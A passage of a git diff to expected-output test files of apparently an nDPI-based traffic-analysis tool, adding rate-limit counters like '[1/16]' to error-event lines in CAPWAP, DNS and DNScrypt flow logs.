IPv4/L4 payload detection failed [1/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [3/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [4/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [3/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [4/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [5/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [6/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [7/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [3/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [3/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [3/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [3/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [3/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [4/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [5/16] DAEMON-EVENT: shutdown diff --git a/test/results/flow-info/capwap.pcap.out b/test/results/flow-info/capwap.pcap.out index d47fbae1d..6939140a8 100644 --- a/test/results/flow-info/capwap.pcap.out +++ b/test/results/flow-info/capwap.pcap.out @@ -5,12 +5,12 @@ detected: [.....1] [ip4][..udp] [...192.168.10.9][.5246] -> [..192.168.10.10][12379] [CAPWAP][Network][Acceptable] new: [.....2] [ip4][..udp] [..192.168.10.10][49259] -> [255.255.255.255][...53] detected: [.....2] [ip4][..udp] [..192.168.10.10][49259] -> [255.255.255.255][...53] [DNS][Network][Acceptable][cisco-capwap-controller] - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] + ERROR-EVENT: Unknown packet type [2/16] + ERROR-EVENT: Unknown packet type [3/16] + ERROR-EVENT: Unknown packet type [4/16] + ERROR-EVENT: Unknown packet type [5/16] + ERROR-EVENT: Unknown packet type [6/16] new: [.....3] [ip4][..udp] [..192.168.10.10][12380] -> [255.255.255.255][.5246] detected: [.....3] [ip4][..udp] [..192.168.10.10][12380] -> [255.255.255.255][.5246] [CAPWAP][Network][Acceptable] new: [.....4] [ip4][..udp] [...192.168.10.9][.5246] -> [..192.168.10.10][12380] @@ -29,7 +29,7 @@ new: [.....5] [ip4][..udp] [..192.168.10.10][12380] -> [...192.168.10.9][.5247] detected: [.....5] [ip4][..udp] [..192.168.10.10][12380] -> [...192.168.10.9][.5247] [CAPWAP][Network][Acceptable] update: [.....2] [ip4][..udp] [..192.168.10.10][49259] -> [255.255.255.255][...53] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] analyse: [.....5] [ip4][..udp] [..192.168.10.10][12380] -> [...192.168.10.9][.5247] [CAPWAP][Network][Acceptable] min| max| avg| stddev| variance| entropy [IAT.........: 0.500| 4.000| 1.016| 0.875| 765810.835| 4.600] @@ -45,13 +45,13 @@ update: [.....4] [ip4][..udp] [...192.168.10.9][.5246] -> [..192.168.10.10][12380] [CAPWAP][Network][Acceptable] update: [.....5] [ip4][..udp] [..192.168.10.10][12380] -> [...192.168.10.9][.5247] [CAPWAP][Network][Acceptable] update: [.....2] [ip4][..udp] [..192.168.10.10][49259] -> [255.255.255.255][...53] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] update: [.....3] [ip4][..udp] [..192.168.10.10][12380] -> [255.255.255.255][.5246] [CAPWAP][Network][Acceptable] update: [.....1] [ip4][..udp] [...192.168.10.9][.5246] -> [..192.168.10.10][12379] [CAPWAP][Network][Acceptable] update: [.....4] [ip4][..udp] [...192.168.10.9][.5246] -> [..192.168.10.10][12380] [CAPWAP][Network][Acceptable] update: [.....5] [ip4][..udp] [..192.168.10.10][12380] -> [...192.168.10.9][.5247] [CAPWAP][Network][Acceptable] update: [.....2] [ip4][..udp] [..192.168.10.10][49259] -> [255.255.255.255][...53] - ERROR-EVENT: Unknown packet type + ERROR-EVENT: Unknown packet type [1/16] idle: [.....1] [ip4][..udp] [...192.168.10.9][.5246] -> [..192.168.10.10][12379] [CAPWAP][Network][Acceptable] idle: [.....2] [ip4][..udp] [..192.168.10.10][49259] -> [255.255.255.255][...53] update: [.....3] [ip4][..udp] [..192.168.10.10][12380] -> [255.255.255.255][.5246] [CAPWAP][Network][Acceptable] diff --git a/test/results/flow-info/dlt_ppp.pcap.out b/test/results/flow-info/dlt_ppp.pcap.out index 25f53d21b..1d69a8341 100644 --- a/test/results/flow-info/dlt_ppp.pcap.out +++ b/test/results/flow-info/dlt_ppp.pcap.out @@ -1,3 +1,3 @@ DAEMON-EVENT: init - ERROR-EVENT: Unknown L3 protocol + ERROR-EVENT: Unknown L3 protocol [1/16] DAEMON-EVENT: shutdown diff --git a/test/results/flow-info/dns_fragmented.pcap.out b/test/results/flow-info/dns_fragmented.pcap.out index 7e84099fb..1bac7abdc 100644 --- a/test/results/flow-info/dns_fragmented.pcap.out +++ b/test/results/flow-info/dns_fragmented.pcap.out @@ -4,26 +4,26 @@ new: [.....1] [ip4][..udp] [..172.217.40.76][56680] -> [.193.24.227.238][...53] detected: [.....1] [ip4][..udp] [..172.217.40.76][56680] -> [.193.24.227.238][...53] [DNS.Google][Web][Acceptable][weberlab.de] detection-update: [.....1] [ip4][..udp] [..172.217.40.76][56680] -> [.193.24.227.238][...53] [DNS.Google][Web][Acceptable][weberlab.de] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] new: [.....2] [ip6][..udp] [................2a00:1450:4013:c03::10a][46433] -> [..................2001:470:765b::a25:53][...53] detected: [.....2] [ip6][..udp] [................2a00:1450:4013:c03::10a][46433] -> [..................2001:470:765b::a25:53][...53] [DNS][Network][Acceptable][pa.weberlab.de] detection-update: [.....2] [ip6][..udp] [................2a00:1450:4013:c03::10a][46433] -> [..................2001:470:765b::a25:53][...53] [DNS][Network][Acceptable][pa.weberlab.de] - ERROR-EVENT: nDPI IPv6/L4 payload detection failed + ERROR-EVENT: nDPI IPv6/L4 payload detection failed [2/16] new: [.....3] [ip6][..udp] [................2a00:1450:4013:c06::105][63369] -> [..................2001:470:765b::a25:53][...53] detected: [.....3] [ip6][..udp] [................2a00:1450:4013:c06::105][63369] -> [..................2001:470:765b::a25:53][...53] [DNS][Network][Acceptable][fg2.weberlab.de] detection-update: [.....3] [ip6][..udp] [................2a00:1450:4013:c06::105][63369] -> [..................2001:470:765b::a25:53][...53] [DNS][Network][Acceptable][fg2.weberlab.de] - ERROR-EVENT: nDPI IPv6/L4 payload detection failed + ERROR-EVENT: nDPI IPv6/L4 payload detection failed [3/16] new: [.....4] [ip4][..udp] [173.194.169.104][59464] -> [.193.24.227.238][...53] detected: [.....4] [ip4][..udp] [173.194.169.104][59464] -> [.193.24.227.238][...53] [DNS.Google][Web][Acceptable][fg2.weberlab.de] detection-update: [.....4] [ip4][..udp] [173.194.169.104][59464] -> [.193.24.227.238][...53] [DNS.Google][Web][Acceptable][fg2.weberlab.de] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [4/16] new: [.....5] [ip6][..udp] [................2a00:1450:400c:c00::106][54430] -> [..................2001:470:765b::a25:53][...53] detected: [.....5] [ip6][..udp] [................2a00:1450:400c:c00::106][54430] -> [..................2001:470:765b::a25:53][...53] [DNS][Network][Acceptable][fg2.weberlab.de] detection-update: [.....5] [ip6][..udp] [................2a00:1450:400c:c00::106][54430] -> [..................2001:470:765b::a25:53][...53] [DNS][Network][Acceptable][fg2.weberlab.de] new: [.....6] [ip4][..udp] [..74.125.47.136][59330] -> [.193.24.227.238][...53] detected: [.....6] [ip4][..udp] [..74.125.47.136][59330] -> [.193.24.227.238][...53] [DNS.Google][Web][Acceptable][weberlab.de] detection-update: [.....6] [ip4][..udp] [..74.125.47.136][59330] -> [.193.24.227.238][...53] [DNS.Google][Web][Acceptable][weberlab.de] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [5/16] new: [.....7] [ip6][..udp] [................2a00:1450:4013:c05::10e][34944] -> [..................2001:470:765b::a25:53][...53] detected: [.....7] [ip6][..udp] [................2a00:1450:4013:c05::10e][34944] -> [..................2001:470:765b::a25:53][...53] [DNS][Network][Acceptable][fg2.weberlab.de] detection-update: [.....7] [ip6][..udp] [................2a00:1450:4013:c05::10e][34944] -> [..................2001:470:765b::a25:53][...53] [DNS][Network][Acceptable][fg2.weberlab.de] @@ -69,11 +69,11 @@ new: [....16] [ip6][..udp] [..2001:470:1f0b:16b0:20c:29ff:fe7c:a4cb][55729] -> [..................2001:470:765b::a25:53][...53] detected: [....16] [ip6][..udp] [..2001:470:1f0b:16b0:20c:29ff:fe7c:a4cb][55729] -> [..................2001:470:765b::a25:53][...53] [DNS][Network][Acceptable][weberlab.de] detection-update: [....16] [ip6][..udp] [..2001:470:1f0b:16b0:20c:29ff:fe7c:a4cb][55729] -> [..................2001:470:765b::a25:53][...53] [DNS][Network][Acceptable][weberlab.de] - ERROR-EVENT: nDPI IPv6/L4 payload detection failed + ERROR-EVENT: nDPI IPv6/L4 payload detection failed [1/16] new: [....17] [ip4][..udp] [....194.247.5.6][51791] -> [.193.24.227.238][...53] detected: [....17] [ip4][..udp] [....194.247.5.6][51791] -> [.193.24.227.238][...53] [DNS][Network][Acceptable][weberlab.de] detection-update: [....17] [ip4][..udp] [....194.247.5.6][51791] -> [.193.24.227.238][...53] [DNS][Network][Acceptable][weberlab.de] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] new: [....18] [ip6][..udp] [..2001:470:1f0b:16b0:20c:29ff:fe7c:a4cb][60550] -> [...................2606:4700:4700::1111][...53] detected: [....18] [ip6][..udp] [..2001:470:1f0b:16b0:20c:29ff:fe7c:a4cb][60550] -> [...................2606:4700:4700::1111][...53] [DNS][Network][Acceptable][ns2.weberdns.de] detection-update: [....18] [ip6][..udp] [..2001:470:1f0b:16b0:20c:29ff:fe7c:a4cb][60550] -> [...................2606:4700:4700::1111][...53] [DNS][Network][Acceptable][ns2.weberdns.de] diff --git a/test/results/flow-info/dnscrypt-v1-and-resolver-pings.pcap.out b/test/results/flow-info/dnscrypt-v1-and-resolver-pings.pcap.out index 4d2de9a8a..6d501764e 100644 --- a/test/results/flow-info/dnscrypt-v1-and-resolver-pings.pcap.out +++ b/test/results/flow-info/dnscrypt-v1-and-resolver-pings.pcap.out @@ -5,15 +5,15 @@ detected: [.....1] [ip4][..udp] [.......10.0.0.1][38388] -> [..149.56.228.45][..443] [DNScrypt][Network][Safe] new: [.....2] [ip4][..udp] [.......10.0.0.1][45722] -> [..149.56.228.45][..443] detected: [.....2] [ip4][..udp] [.......10.0.0.1][45722] -> [..149.56.228.45][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] new: [.....3] [ip4][..udp] [.......10.0.0.1][35495] -> [..149.56.228.45][..443] detected: [.....3] [ip4][..udp] [.......10.0.0.1][35495] -> [..149.56.228.45][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] new: [.....4] [ip4][..udp] [.......10.0.0.1][33565] -> [..149.56.228.45][..443] detected: [.....4] [ip4][..udp] [.......10.0.0.1][33565] -> [..149.56.228.45][..443] [DNScrypt][Network][Safe] new: [.....5] [ip4][..udp] [.......10.0.0.1][35228] -> [..149.56.228.45][..443] detected: [.....5] [ip4][..udp] [.......10.0.0.1][35228] -> [..149.56.228.45][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [3/16] new: [.....6] [ip4][..udp] [.......10.0.0.1][60301] -> [..149.56.228.45][..443] detected: [.....6] [ip4][..udp] [.......10.0.0.1][60301] -> [..149.56.228.45][..443] [DNScrypt][Network][Safe] DAEMON-EVENT: [Processed: 12 pkts][ZLib][compressions: 0|diff: 0 / 0] @@ -26,33 +26,33 @@ detected: [.....9] [ip4][..udp] [.......10.0.0.1][49518] -> [..62.210.180.71][.1053] [DNScrypt][Network][Safe] new: [....10] [ip4][..udp] [.......10.0.0.1][43748] -> [..62.210.180.71][.1053] detected: [....10] [ip4][..udp] [.......10.0.0.1][43748] -> [..62.210.180.71][.1053] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [1/16] new: [....11] [ip4][..udp] [.......10.0.0.1][57395] -> [..62.210.180.71][.1053] detected: [....11] [ip4][..udp] [.......10.0.0.1][57395] -> [..62.210.180.71][.1053] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [2/16] new: [....12] [ip4][..udp] [.......10.0.0.1][53299] -> [..62.210.180.71][.1053] detected: [....12] [ip4][..udp] [.......10.0.0.1][53299] -> [..62.210.180.71][.1053] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [3/16] new: [....13] [ip4][..udp] [.......10.0.0.1][53697] -> [.185.134.196.55][.8443] detected: [....13] [ip4][..udp] [.......10.0.0.1][53697] -> [.185.134.196.55][.8443] [DNScrypt][Network][Safe] new: [....14] [ip4][..udp] [.......10.0.0.1][37413] -> [.185.134.196.55][.8443] detected: [....14] [ip4][..udp] [.......10.0.0.1][37413] -> [.185.134.196.55][.8443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [4/16] new: [....15] [ip4][..udp] [.......10.0.0.1][35005] -> [.185.134.196.55][.8443] detected: [....15] [ip4][..udp] [.......10.0.0.1][35005] -> [.185.134.196.55][.8443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [5/16] new: [....16] [ip4][..udp] [.......10.0.0.1][59405] -> [.185.134.196.55][.8443] detected: [....16] [ip4][..udp] [.......10.0.0.1][59405] -> [.185.134.196.55][.8443] [DNScrypt][Network][Safe] new: [....17] [ip4][..udp] [.......10.0.0.1][50435] -> [.185.134.196.55][.8443] detected: [....17] [ip4][..udp] [.......10.0.0.1][50435] -> [.185.134.196.55][.8443] [DNScrypt][Network][Safe] new: [....18] [ip4][..udp] [.......10.0.0.1][55123] -> [.185.134.196.55][.8443] detected: [....18] [ip4][..udp] [.......10.0.0.1][55123] -> [.185.134.196.55][.8443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [6/16] new: [....19] [ip4][..udp] [.......10.0.0.1][44712] -> [104.238.186.192][..443] detected: [....19] [ip4][..udp] [.......10.0.0.1][44712] -> [104.238.186.192][..443] [DNScrypt][Network][Safe] new: [....20] [ip4][..udp] [.......10.0.0.1][56997] -> [104.238.186.192][..443] detected: [....20] [ip4][..udp] [.......10.0.0.1][56997] -> [104.238.186.192][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [7/16] new: [....21] [ip4][..udp] [.......10.0.0.1][39655] -> [104.238.186.192][..443] detected: [....21] [ip4][..udp] [.......10.0.0.1][39655] -> [104.238.186.192][..443] [DNScrypt][Network][Safe] new: [....22] [ip4][..udp] [.......10.0.0.1][59261] -> [104.238.186.192][..443] @@ -61,34 +61,34 @@ detected: [....23] [ip4][..udp] [.......10.0.0.1][59641] -> [104.238.186.192][..443] [DNScrypt][Network][Safe] new: [....24] [ip4][..udp] [.......10.0.0.1][44491] -> [104.238.186.192][..443] detected: [....24] [ip4][..udp] [.......10.0.0.1][44491] -> [104.238.186.192][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [8/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [9/16] new: [....25] [ip4][..udp] [.......10.0.0.1][32793] -> [.209.250.241.25][..443] detected: [....25] [ip4][..udp] [.......10.0.0.1][32793] -> [.209.250.241.25][..443] [DNScrypt][Network][Safe] new: [....26] [ip4][..udp] [.......10.0.0.1][56035] -> [.209.250.241.25][..443] detected: [....26] [ip4][..udp] [.......10.0.0.1][56035] -> [.209.250.241.25][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [10/16] new: [....27] [ip4][..udp] [.......10.0.0.1][37123] -> [.209.250.241.25][..443] detected: [....27] [ip4][..udp] [.......10.0.0.1][37123] -> [.209.250.241.25][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [11/16] new: [....28] [ip4][..udp] [.......10.0.0.1][37950] -> [.209.250.241.25][..443] detected: [....28] [ip4][..udp] [.......10.0.0.1][37950] -> [.209.250.241.25][..443] [DNScrypt][Network][Safe] new: [....29] [ip4][..udp] [.......10.0.0.1][34324] -> [.209.250.241.25][..443] detected: [....29] [ip4][..udp] [.......10.0.0.1][34324] -> [.209.250.241.25][..443] [DNScrypt][Network][Safe] new: [....30] [ip4][..udp] [.......10.0.0.1][59367] -> [.209.250.241.25][..443] detected: [....30] [ip4][..udp] [.......10.0.0.1][59367] -> [.209.250.241.25][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [12/16] new: [....31] [ip4][..udp] [.......10.0.0.1][43609] -> [....41.79.69.13][..443] detected: [....31] [ip4][..udp] [.......10.0.0.1][43609] -> [....41.79.69.13][..443] [DNScrypt][Network][Safe] new: [....32] [ip4][..udp] [.......10.0.0.1][46229] -> [....41.79.69.13][..443] detected: [....32] [ip4][..udp] [.......10.0.0.1][46229] -> [....41.79.69.13][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [13/16] + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [14/16] new: [....33] [ip4][..udp] [.......10.0.0.1][56043] -> [....41.79.69.13][..443] detected: [....33] [ip4][..udp] [.......10.0.0.1][56043] -> [....41.79.69.13][..443] [DNScrypt][Network][Safe] new: [....34] [ip4][..udp] [.......10.0.0.1][38136] -> [....41.79.69.13][..443] detected: [....34] [ip4][..udp] [.......10.0.0.1][38136] -> [....41.79.69.13][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [15/16] new: [....35] [ip4][..udp] [.......10.0.0.1][56177] -> [....41.79.69.13][..443] detected: [....35] [ip4][..udp] [.......10.0.0.1][56177] -> [....41.79.69.13][..443] [DNScrypt][Network][Safe] new: [....36] [ip4][..udp] [.......10.0.0.1][43365] -> [....41.79.69.13][..443] @@ -97,15 +97,13 @@ detected: [....37] [ip4][..udp] [.......10.0.0.1][45767] -> [..51.15.122.250][..443] [DNScrypt][Network][Safe] new: [....38] [ip4][..udp] [.......10.0.0.1][38867] -> [..51.15.122.250][..443] detected: [....38] [ip4][..udp] [.......10.0.0.1][38867] -> [..51.15.122.250][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed + ERROR-EVENT: nDPI IPv4/L4 payload detection failed [16/16] new: [....39] [ip4][..udp] [.......10.0.0.1][59709] -> [..51.15.122.250][..443] detected: [....39] [ip4][..udp] [.......10.0.0.1][59709] -> [..51.15.122.250][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [....40] [ip4][..udp] [.......10.0.0.1][36668] -> [..51.15.122.250][..443] detected: [....40] [ip4][..udp] [.......10.0.0.1][36668] -> [..51.15.122.250][..443] [DNScrypt][Network][Safe] new: [....41] [ip4][..udp] [.......10.0.0.1][39007] -> [..51.15.122.250][..443] detected: [....41] [ip4][..udp] [.......10.0.0.1][39007] -> [..51.15.122.250][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [....42] [ip4][..udp] [.......10.0.0.1][38362] -> [..51.15.122.250][..443] detected: [....42] [ip4][..udp] [.......10.0.0.1][38362] -> [..51.15.122.250][..443] [DNScrypt][Network][Safe] new: [....43] [ip4][..udp] [.......10.0.0.1][59476] -> [.139.59.200.116][..443] @@ -116,76 +114,58 @@ detected: [....45] [ip4][..udp] [.......10.0.0.1][50335] -> [.139.59.200.116][..443] [DNScrypt][Network][Safe] new: [....46] [ip4][..udp] [.......10.0.0.1][43633] -> [.139.59.200.116][..443] detected: [....46] [ip4][..udp] [.......10.0.0.1][43633] -> [.139.59.200.116][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [....47] [ip4][..udp] [.......10.0.0.1][37595] -> [.139.59.200.116][..443] detected: [....47] [ip4][..udp] [.......10.0.0.1][37595] -> [.139.59.200.116][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [....48] [ip4][..udp] [.......10.0.0.1][59194] -> [.139.59.200.116][..443] detected: [....48] [ip4][..udp] [.......10.0.0.1][59194] -> [.139.59.200.116][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [....49] [ip4][..udp] [.......10.0.0.1][47865] -> [...195.30.94.28][.8443] detected: [....49] [ip4][..udp] [.......10.0.0.1][47865] -> [...195.30.94.28][.8443] [DNScrypt][Network][Safe] new: [....50] [ip4][..udp] [.......10.0.0.1][33369] -> [...195.30.94.28][.8443] detected: [....50] [ip4][..udp] [.......10.0.0.1][33369] -> [...195.30.94.28][.8443] [DNScrypt][Network][Safe] new: [....51] [ip4][..udp] [.......10.0.0.1][34885] -> [...195.30.94.28][.8443] detected: [....51] [ip4][..udp] [.......10.0.0.1][34885] -> [...195.30.94.28][.8443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [....52] [ip4][..udp] [.......10.0.0.1][44093] -> [...195.30.94.28][.8443] detected: [....52] [ip4][..udp] [.......10.0.0.1][44093] -> [...195.30.94.28][.8443] [DNScrypt][Network][Safe] new: [....53] [ip4][..udp] [.......10.0.0.1][53811] -> [...195.30.94.28][.8443] detected: [....53] [ip4][..udp] [.......10.0.0.1][53811] -> [...195.30.94.28][.8443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [....54] [ip4][..udp] [.......10.0.0.1][44282] -> [...195.30.94.28][.8443] detected: [....54] [ip4][..udp] [.......10.0.0.1][44282] -> [...195.30.94.28][.8443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [....55] [ip4][..udp] [.......10.0.0.1][32970] -> [..142.4.204.111][..443] detected: [....55] [ip4][..udp] [.......10.0.0.1][32970] -> [..142.4.204.111][..443] [DNScrypt][Network][Safe] new: [....56] [ip4][..udp] [.......10.0.0.1][60962] -> [..142.4.204.111][..443] detected: [....56] [ip4][..udp] [.......10.0.0.1][60962] -> [..142.4.204.111][..443] [DNScrypt][Network][Safe] new: [....57] [ip4][..udp] [.......10.0.0.1][33071] -> [..142.4.204.111][..443] detected: [....57] [ip4][..udp] [.......10.0.0.1][33071] -> [..142.4.204.111][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [....58] [ip4][..udp] [.......10.0.0.1][43505] -> [..142.4.204.111][..443] detected: [....58] [ip4][..udp] [.......10.0.0.1][43505] -> [..142.4.204.111][..443] [DNScrypt][Network][Safe] new: [....59] [ip4][..udp] [.......10.0.0.1][52284] -> [..142.4.204.111][..443] detected: [....59] [ip4][..udp] [.......10.0.0.1][52284] -> [..142.4.204.111][..443] [DNScrypt][Network][Safe] new: [....60] [ip4][..udp] [.......10.0.0.1][46856] -> [..142.4.204.111][..443] detected: [....60] [ip4][..udp] [.......10.0.0.1][46856] -> [..142.4.204.111][..443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [....61] [ip4][..udp] [.......10.0.0.1][50035] -> [.149.112.112.10][.8443] detected: [....61] [ip4][..udp] [.......10.0.0.1][50035] -> [.149.112.112.10][.8443] [DNScrypt][Network][Safe] new: [....62] [ip4][..udp] [.......10.0.0.1][40009] -> [.149.112.112.10][.8443] detected: [....62] [ip4][..udp] [.......10.0.0.1][40009] -> [.149.112.112.10][.8443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [....63] [ip4][..udp] [.......10.0.0.1][56022] -> [.149.112.112.10][.8443] detected: [....63] [ip4][..udp] [.......10.0.0.1][56022] -> [.149.112.112.10][.8443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [....64] [ip4][..udp] [.......10.0.0.1][42570] -> [.149.112.112.10][.8443] detected: [....64] [ip4][..udp] [.......10.0.0.1][42570] -> [.149.112.112.10][.8443] [DNScrypt][Network][Safe] new: [....65] [ip4][..udp] [.......10.0.0.1][57465] -> [.149.112.112.10][.8443] detected: [....65] [ip4][..udp] [.......10.0.0.1][57465] -> [.149.112.112.10][.8443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [....66] [ip4][..udp] [.......10.0.0.1][55482] -> [.149.112.112.10][.8443] detected: [....66] [ip4][..udp] [.......10.0.0.1][55482] -> [.149.112.112.10][.8443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [....67] [ip4][..udp] [.......10.0.0.1][49512] -> [..172.104.93.80][.1443] detected: [....67] [ip4][..udp] [.......10.0.0.1][49512] -> [..172.104.93.80][.1443] [DNScrypt][Network][Safe] new: [....68] [ip4][..udp] [.......10.0.0.1][50913] -> [..172.104.93.80][.1443] detected: [....68] [ip4][..udp] [.......10.0.0.1][50913] -> [..172.104.93.80][.1443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [....69] [ip4][..udp] [.......10.0.0.1][41800] -> [..172.104.93.80][.1443] detected: [....69] [ip4][..udp] [.......10.0.0.1][41800] -> [..172.104.93.80][.1443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed new: [....70] [ip4][..udp] [.......10.0.0.1][38283] -> [..172.104.93.80][.1443] detected: [....70] [ip4][..udp] [.......10.0.0.1][38283] -> [..172.104.93.80][.1443] [DNScrypt][Network][Safe] new: [....71] [ip4][..udp] [.......10.0.0.1][59489] -> [..172.104.93.80][.1443] detected: [....71] [ip4][..udp] [.......10.0.0.1][59489] -> [..172.104.93.80][.1443] [DNScrypt][Network][Safe] new: [....72] [ip4][..udp] [.......10.0.0.1][56902] -> [..172.104.93.80][.1443] detected: [....72] [ip4][..udp] [.......10.0.0.1][56902] -> [..172.104.93.80][.1443] [DNScrypt][Network][Safe] - ERROR-EVENT: nDPI IPv4/L4 payload detection failed update: [.....1] [ip4][..udp] [.......10.0.0.1][38388] -> [..149.56.228.45][..443] [DNScrypt][Network][Safe] update: [.....5] [ip4][..udp] [.......10.0.0.1][35228] -> [..149.56.228.45][..443] [DNScrypt][Network][Safe] update: [.....2] [ip4][..udp] [.......10.0.0.1][45722] -> [..149.56.228.45][..443] [DNScrypt][Network][Safe] @@ -202,37 +182,28 @@ detected: [....76] [ip4][..udp] 